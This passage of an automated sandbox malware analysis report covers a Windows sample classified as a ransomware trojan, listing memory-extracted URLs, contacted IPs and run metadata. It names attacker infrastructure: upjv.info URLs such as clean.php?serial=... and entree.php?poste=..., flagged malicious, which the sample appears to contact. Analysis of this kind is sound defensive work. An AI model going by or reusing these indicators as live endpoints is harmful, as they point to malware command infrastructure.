                                                                                                                                https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullScfirefox.exe, 00000011.00000003.2470456832.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2474549451.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2413873750.00000243689D6000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                • URL Reputation: safe
                                                                                                                                		unknown
                                                                                                                                https://portableapps.com/support/portable_app#installingclean.exe, 00000005.00000003.2151715946.0000000002FBD000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                  		unknown
                                                                                                                                  https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protectionsfirefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                                                  • URL Reputation: safe
                                                                                                                                  		unknown
                                                                                                                                  http://ocsp.rootca1.amazontrust.com0:firefox.exe, 00000011.00000003.2334658251.000002435D4A8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                    		unknown
                                                                                                                                    https://www.youtube.com/firefox.exe, 00000011.00000003.2329837515.0000024368108000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3338371718.00000184C7203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3339469493.0000025EFE503000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                      		unknown
                                                                                                                                      https://upjv.info/firefox.exe, 00000011.00000003.2492956295.000002435E463000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2332689238.000002435E463000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2486020064.000002435E463000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                        		unknown
                                                                                                                                        https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shieldfirefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                                                        • URL Reputation: safe
                                                                                                                                        		unknown
                                                                                                                                        https://MD8.mozilla.org/1/mfirefox.exe, 00000011.00000003.2350145909.000002435E254000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                        • URL Reputation: safe
                                                                                                                                        		unknown
                                                                                                                                        https://www.google.com/complete/searchc1a6845f-015e-4e67-bc64-6e39a843643fa3f1a5b6-cd8d-41b3-bb2b-defirefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                          		unknown
                                                                                                                                          https://www.bbc.co.uk/firefox.exe, 00000011.00000003.2444720249.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.0000024368363000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                            		unknown
                                                                                                                                            https://addons.mozilla.org/firefox/addon/to-google-translate/firefox.exe, 00000011.00000003.2496017415.000002435E06D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                              		unknown
                                                                                                                                              https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=firefox.exe, 00000011.00000003.2477581006.000002436844B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2419798569.0000024365361000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3338371718.00000184C72C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3339469493.0000025EFE5C4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              		unknown
                                                                                                                                              http://127.0.0.1:firefox.exe, 00000011.00000003.2421599733.000002435EDDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2491259190.000002435EDDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                                                                		unknown
                                                                                                                                                http://upjv.info/clean/clean.php?serial=F2LEUD3EOHyfirefox.exe, 0000000F.00000002.2243026015.00000295A9A50000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                  		unknown
                                                                                                                                                  https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152firefox.exe, 00000011.00000003.2388692284.000002435C732000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  		unknown
                                                                                                                                                  https://mitmdetection.services.mozilla.com/firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  		unknown
                                                                                                                                                  https://shavar.services.mozilla.com/firefox.exe, 00000011.00000003.2335483499.000002435C92B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  		unknown
                                                                                                                                                  https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBLplaces.sqlite-wal.17.drfalse
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  		unknown
                                                                                                                                                  https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&reffirefox.exe, 00000014.00000002.3339591404.000001F5277C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3338371718.00000184C72EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3342601193.0000025EFE703000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  		unknown
                                                                                                                                                  https://upjv.infofirefox.exe, 00000011.00000003.2487551787.000002436336A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2329912010.000002436336A000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                    		unknown
                                                                                                                                                    https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477firefox.exe, 00000014.00000002.3339591404.000001F5277C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3338371718.00000184C72EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3342601193.0000025EFE703000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                      		unknown
                                                                                                                                                      http://upjv.info/clean/clean.php?serial=F2LEUD3EOH--attempting-deelevationfirefox.exe, 00000010.00000002.2251461114.000001E8C1440000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                        		unknown
                                                                                                                                                        https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapturefirefox.exe, 00000011.00000003.2413873750.00000243689D6000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                        • URL Reputation: safe
                                                                                                                                                        		unknown
                                                                                                                                                        https://spocs.getpocket.com/firefox.exe, 00000011.00000003.2491259190.000002435EDDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2419798569.0000024365361000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3338371718.00000184C7212000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3339469493.0000025EFE513000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                        • URL Reputation: safe
                                                                                                                                                        		unknown
                                                                                                                                                        https://services.addons.mozilla.org/api/v4/abuse/report/addon/firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                                                                        • URL Reputation: safe
                                                                                                                                                        		unknown
                                                                                                                                                        https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                                                                        • URL Reputation: safe
                                                                                                                                                        		unknown
                                                                                                                                                        https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-ffirefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                                                                        • URL Reputation: safe
                                                                                                                                                        		unknown
                                                                                                                                                        https://www.iqiyi.com/firefox.exe, 00000011.00000003.2314766216.0000024368ACD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2444720249.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2315959898.00000243638B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.0000024368363000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                          		unknown
                                                                                                                                                          http://www.developershome.com/7-zip/clean.exe, 00000005.00000003.2151715946.0000000002E80000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                            		unknown
                                                                                                                                                            https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_rfirefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                                                                              		unknown
                                                                                                                                                              http://www.teisininkas.lt/ivairus/7-zip:clean.exe, 00000005.00000003.2151715946.0000000002E80000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                		unknown
                                                                                                                                                                https://monitor.firefox.com/user/breach-stats?includeResolved=truefirefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                                                                                • URL Reputation: safe
                                                                                                                                                                		unknown
                                                                                                                                                                https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-reportfirefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                                                                                • URL Reputation: safe
                                                                                                                                                                		unknown
                                                                                                                                                                https://spocs.getpocket.com/CN=Thefirefox.exe, 00000017.00000002.3339469493.0000025EFE513000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                  		unknown
                                                                                                                                                                  https://bugzilla.mozilla.org/show_bug.cgi?id=1584464firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                                  		unknown
                                                                                                                                                                  http://a9.com/-/spec/opensearch/1.0/firefox.exe, 00000011.00000003.2320326095.000002435C179000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2494367583.000002435E25C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2333638774.000002435E25C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2446484016.000002435E25C000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                                  		unknown
                                                                                                                                                                  http://upjv.info/clean/cleaWMIC.exe, 0000000B.00000003.2223024451.0000000002AEE000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000000B.00000003.2223569597.0000000002AEE000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000000B.00000002.2224864903.0000000002AEE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                    		unknown
                                                                                                                                                                    https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYifirefox.exe, 00000017.00000002.3342601193.0000025EFE703000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                      		unknown
                                                                                                                                                                      https://safebrowsing.google.com/safebrowsing/diagnostic?site=firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                                                                                      • URL Reputation: safe
                                                                                                                                                                      		unknown
                                                                                                                                                                      http://www.chawg.orgclean.exe, 00000005.00000003.2151715946.0000000002E80000.00000004.00001000.00020000.00000000.sdmp, ku-ckb.txt.5.drfalse
                                                                                                                                                                        		unknown
                                                                                                                                                                        https://monitor.firefox.com/user/dashboardfirefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                                                                                        • URL Reputation: safe
                                                                                                                                                                        		unknown
                                                                                                                                                                        http://developer.mozilla.org/en/docs/DOM:element.addEventListenerUseOfReleaseEventsWarningUsefirefox.exe, 00000011.00000003.2470456832.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2474549451.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2413873750.00000243689D6000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                          		unknown
                                                                                                                                                                          https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_IDfirefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                                                                                          • URL Reputation: safe
                                                                                                                                                                          		unknown
                                                                                                                                                                          https://monitor.firefox.com/aboutfirefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                                                                                          • URL Reputation: safe
                                                                                                                                                                          		unknown
                                                                                                                                                                          http://mozilla.org/MPL/2.0/.firefox.exe, 00000011.00000003.2410189879.0000024358FF6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2388339352.000002435C7C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2421599733.000002435EDD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2264776497.000002435C7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2421007107.000002435EFBB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2421599733.000002435ED9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2434614485.000002435C7F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2378953131.000002435BADC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2401229475.00000243658DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2263792179.0000024358FFB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2381604409.000002435E1F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2443287304.000002435C75F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2449633960.000002435DB70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2335780358.00000243658DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2330894955.000002435EF84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2467948860.000002435C8BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2364433241.000002435C7F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2372566734.000002435C7C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2348291029.000002435EF73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477297833.0000024368958000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2356697139.000002435C7C3000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                            		unknown
                                                                                                                                                                            https://account.bellmedia.cfirefox.exe, 00000011.00000003.2491259190.000002435ED70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2421599733.000002435ED70000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                            • URL Reputation: safe
                                                                                                                                                                            		unknown
                                                                                                                                                                            https://login.microsoftonline.comfirefox.exe, 00000011.00000003.2491259190.000002435ED70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2421599733.000002435ED70000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                            • URL Reputation: safe
                                                                                                                                                                            		unknown
                                                                                                                                                                            https://coverage.mozilla.orgfirefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                                                                                            • URL Reputation: safe
                                                                                                                                                                            		unknown
                                                                                                                                                                            http://crl.thawte.com/ThawteTimestampingCA.crl0clean.exe, 00000005.00000003.2156488353.000000000425A000.00000004.00001000.00020000.00000000.sdmp, 7-ZipPortable.exe.5.drfalse
                                                                                                                                                                            • URL Reputation: safe
                                                                                                                                                                            		unknown
                                                                                                                                                                            http://upjv.info/clean/clean.php?serial=F2LEUD3EOHenfirefox.exe, 00000011.00000003.2326619496.00000243683E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2347364435.00000243683E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2418699275.00000243683E4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                              		unknown
                                                                                                                                                                              https://www.zhihu.com/firefox.exe, 00000011.00000003.2481127797.0000024365413000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                              • URL Reputation: safe
                                                                                                                                                                              		unknown
                                                                                                                                                                              http://upjv.info/clean/entree.php?poste=user-PCfirefox.exe, 0000000F.00000002.2243026015.00000295A9A5A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000F.00000002.2243026015.00000295A9A50000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                		unknown
                                                                                                                                                                                http://x1.c.lencr.org/0firefox.exe, 00000011.00000003.2334658251.000002435D4A8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                • URL Reputation: safe
                                                                                                                                                                                		unknown
                                                                                                                                                                                http://x1.i.lencr.org/0firefox.exe, 00000011.00000003.2334658251.000002435D4A8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                • URL Reputation: safe
                                                                                                                                                                                		unknown
                                                                                                                                                                                http://www.prizeeinternational.comclean.exe, 00000005.00000003.2151715946.0000000002E80000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                                  		unknown

                                                                                                                                                                                  World Map of Contacted IPs

                                                                                                                                                                                  • No. of IPs < 25%
                                                                                                                                                                                  • 25% < No. of IPs < 50%
                                                                                                                                                                                  • 50% < No. of IPs < 75%
                                                                                                                                                                                  • 75% < No. of IPs

                                                                                                                                                                                  Public IPs

                                                                                                                                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                  34.149.100.209
                                                                                                                                                                                  		prod.remote-settings.prod.webservices.mozgcp.netUnited States
                                                                                                                                                                                  		2686ATGS-MMD-ASUSfalse
                                                                                                                                                                                  34.107.243.93
                                                                                                                                                                                  		push.services.mozilla.comUnited States
                                                                                                                                                                                  		15169GOOGLEUSfalse
                                                                                                                                                                                  46.105.204.6
                                                                                                                                                                                  		upjv.infoFrance
                                                                                                                                                                                  		16276OVHFRtrue
                                                                                                                                                                                  34.107.221.82
                                                                                                                                                                                  		prod.detectportal.prod.cloudops.mozgcp.netUnited States
                                                                                                                                                                                  		15169GOOGLEUSfalse
                                                                                                                                                                                  35.244.181.201
                                                                                                                                                                                  		prod.balrog.prod.cloudops.mozgcp.netUnited States
                                                                                                                                                                                  		15169GOOGLEUSfalse
                                                                                                                                                                                  34.117.188.166
                                                                                                                                                                                  		contile.services.mozilla.comUnited States
                                                                                                                                                                                  		139070GOOGLE-AS-APGoogleAsiaPacificPteLtdSGfalse
                                                                                                                                                                                  52.222.236.120
                                                                                                                                                                                  		services.addons.mozilla.orgUnited States
                                                                                                                                                                                  		16509AMAZON-02USfalse
                                                                                                                                                                                  35.201.103.21
                                                                                                                                                                                  		normandy-cdn.services.mozilla.comUnited States
                                                                                                                                                                                  		15169GOOGLEUSfalse
                                                                                                                                                                                  35.190.72.216
                                                                                                                                                                                  		prod.classify-client.prod.webservices.mozgcp.netUnited States
                                                                                                                                                                                  		15169GOOGLEUSfalse
                                                                                                                                                                                  34.160.144.191
                                                                                                                                                                                  		prod.content-signature-chains.prod.webservices.mozgcp.netUnited States
                                                                                                                                                                                  		2686ATGS-MMD-ASUSfalse
                                                                                                                                                                                  34.120.208.123
                                                                                                                                                                                  		telemetry-incoming.r53-2.services.mozilla.comUnited States
                                                                                                                                                                                  		15169GOOGLEUSfalse

                                                                                                                                                                                  Private

                                                                                                                                                                                  IP
                                                                                                                                                                                  127.0.0.1

                                                                                                                                                                                  General Information

                                                                                                                                                                                  Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                                                  Analysis ID:1538480
                                                                                                                                                                                  Start date and time:2024-10-21 11:38:08 +02:00
                                                                                                                                                                                  Joe Sandbox product:CloudBasic
                                                                                                                                                                                  Overall analysis duration:0h 8m 34s
                                                                                                                                                                                  Hypervisor based Inspection enabled:false
                                                                                                                                                                                  Report type:full
                                                                                                                                                                                  Cookbook file name:default.jbs
                                                                                                                                                                                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                                  Number of analysed new started processes analysed:25
                                                                                                                                                                                  Number of new started drivers analysed:0
                                                                                                                                                                                  Number of existing processes analysed:0
                                                                                                                                                                                  Number of existing drivers analysed:0
                                                                                                                                                                                  Number of injected processes analysed:0
                                                                                                                                                                                  Technologies:
                                                                                                                                                                                  • HCA enabled
                                                                                                                                                                                  • EGA enabled
                                                                                                                                                                                  • AMSI enabled
                                                                                                                                                                                  Analysis Mode:default
                                                                                                                                                                                  Analysis stop reason:Timeout
                                                                                                                                                                                  Sample name:SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe
                                                                                                                                                                                  Detection:MAL
                                                                                                                                                                                  Classification:mal76.rans.troj.evad.winEXE@47/194@72/12
                                                                                                                                                                                  EGA Information:
                                                                                                                                                                                  • Successful, ratio: 57.1%
                                                                                                                                                                                  HCA Information:Failed
                                                                                                                                                                                  Cookbook Comments:
                                                                                                                                                                                  • Found application associated with file extension: .exe

                                                                                                                                                                                  Warnings

                                                                                                                                                                                  • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
                                                                                                                                                                                  • Excluded IPs from analysis (whitelisted): 52.26.161.5, 52.25.49.43, 34.208.54.237, 142.250.185.202, 172.217.18.10, 142.250.185.78, 2.22.61.59, 2.22.61.56, 142.250.184.206
                                                                                                                                                                                  • Excluded domains from analysis (whitelisted): fs.microsoft.com, shavar.prod.mozaws.net, ciscobinary.openh264.org, otelrules.azureedge.net, slscr.update.microsoft.com, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, a17.rackcdn.com.mdc.edgesuite.net, detectportal.prod.mozaws.net, aus5.mozilla.org, fe3cr.delivery.mp.microsoft.com, a19.dscg10.akamai.net, ocsp.digicert.com, redirector.gvt1.com, safebrowsing.googleapis.com, location.services.mozilla.com
                                                                                                                                                                                  • Execution Graph export aborted for target ariac.exe, PID 4536 because it is empty
                                                                                                                                                                                  • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                                  • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                                  • Report size getting too big, too many NtCreateFile calls found.
                                                                                                                                                                                  • Report size getting too big, too many NtOpenFile calls found.
                                                                                                                                                                                  • Report size getting too big, too many NtSetInformationFile calls found.
                                                                                                                                                                                  • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                                  • VT rate limit hit for: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe

                                                                                                                                                                                  Simulations

                                                                                                                                                                                  Behavior and APIs

                                                                                                                                                                                  TimeTypeDescription
                                                                                                                                                                                  05:39:15API Interceptor1x Sleep call for process: WMIC.exe modified
                                                                                                                                                                                  05:39:39API Interceptor1x Sleep call for process: firefox.exe modified
                                                                                                                                                                                  05:39:44API Interceptor67360x Sleep call for process: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe modified
                                                                                                                                                                                  05:39:52API Interceptor387x Sleep call for process: PING.EXE modified

                                                                                                                                                                                  Joe Sandbox View / Context

                                                                                                                                                                                  IPs

                                                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                  34.117.188.166file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                    file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                      file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                        file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                          file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                            file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                              file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                WinFIG.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                  WinFIG-2024.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                    SentinelOculus.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                      52.222.236.120file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                        file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                          WinFIG.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                            HovNfm4BLy.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                              file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                                file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, StealcBrowse
